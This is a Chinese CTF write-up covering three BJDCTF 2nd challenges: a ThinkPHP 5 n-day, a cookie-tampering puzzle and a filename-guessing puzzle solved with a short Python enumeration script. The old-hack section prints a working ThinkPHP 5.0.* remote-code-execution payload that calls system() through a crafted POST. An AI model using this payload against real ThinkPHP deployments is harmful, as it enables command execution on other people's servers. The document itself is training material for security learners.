[BUUOJ記錄] [BJDCTF 2nd]old-hack & Schrödinger & elementmaster

三道比較簡單的的題放一起一寫，old-hack是ThinkPHP框架的一個nday，Schrödinger和elementmaster沒啥考點，就是腦洞

一、old-hack

 

 進入題目沒發現什么Hint和有用的東西，只給出了ThinkPHP5的提示，猜測應該是考察一個ThinkPHP5的nday，

想辦法構造一個ThinkPHP的報錯看一下詳細版本：

http://a504dd5e-6b7c-407f-ab11-ee1c9efdc3f3.node3.buuoj.cn/index.php?s=1

 

 

百度查一下這個版本的漏洞，發現有一個RCE的漏洞：ThinkPHP5.0.*版本代碼執行漏洞

 

 

直接構造Payload，得到Flag：

http://a504dd5e-6b7c-407f-ab11-ee1c9efdc3f3.node3.buuoj.cn/index.php?s=captcha

POST_DATA： _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

 

 

 

二、Schrödinger

名字很高大上，薛定諤（ 遇事不決，量子力學

進入題目看到是一個爆破密碼的頁面，提示刪除test.php文件，，訪問一下發現存在，應該是讓我們爆破test.php文件了：

 

 輸入http://127.0.0.1/test.php點擊Input開始爆破，根據文字提示得知當爆破進度達到100%時可以得到結果，但是后面爆破得非常慢

出題人給出的Hint是“多關注cookie”，查看cookie后發現base64加密之后的時間戳：

 

 解碼之后應該是 user=當前時間戳。

直接將該值置空后刷新頁面，點擊Check得到一個B站av號：

 

 B站訪問（還是個量子力學的講座，真貼合題目），評論區找到Flag：

 

 

閑話：看這個視頻評論區的時候還看到了一位初中自學量子力學的大佬。。。我初中的時候還在挖SQL注入。。。可能這就是大佬的世界吧

三、elementmaster

徹頭徹尾的腦洞題，沒啥說的，進入題目查看源代碼發現隱藏的文字，id出現的有點突兀，hex解碼一下發現是元素：

 

 解碼后得到Po.和php，訪問Po.php發現返回了一個 .

這個時候隊友說了一句不會是用元素周期表爆破吧，然后寫了腳本試了一下，得到Flag所在文件名：

import requests

url = "http://d8e281df-f647-45ea-97aa-768fa2a930f5.node3.buuoj.cn"

dict = ['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
        'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 
        'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 
        'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 
        'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 
        'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
        'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']

for element in dict:
    req = requests.get(url+'/'+element+'.php')
    if "404" in req.text:
        pass
    else:
        print(req.text)

 

得到文件名: And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php，訪問得到Flag：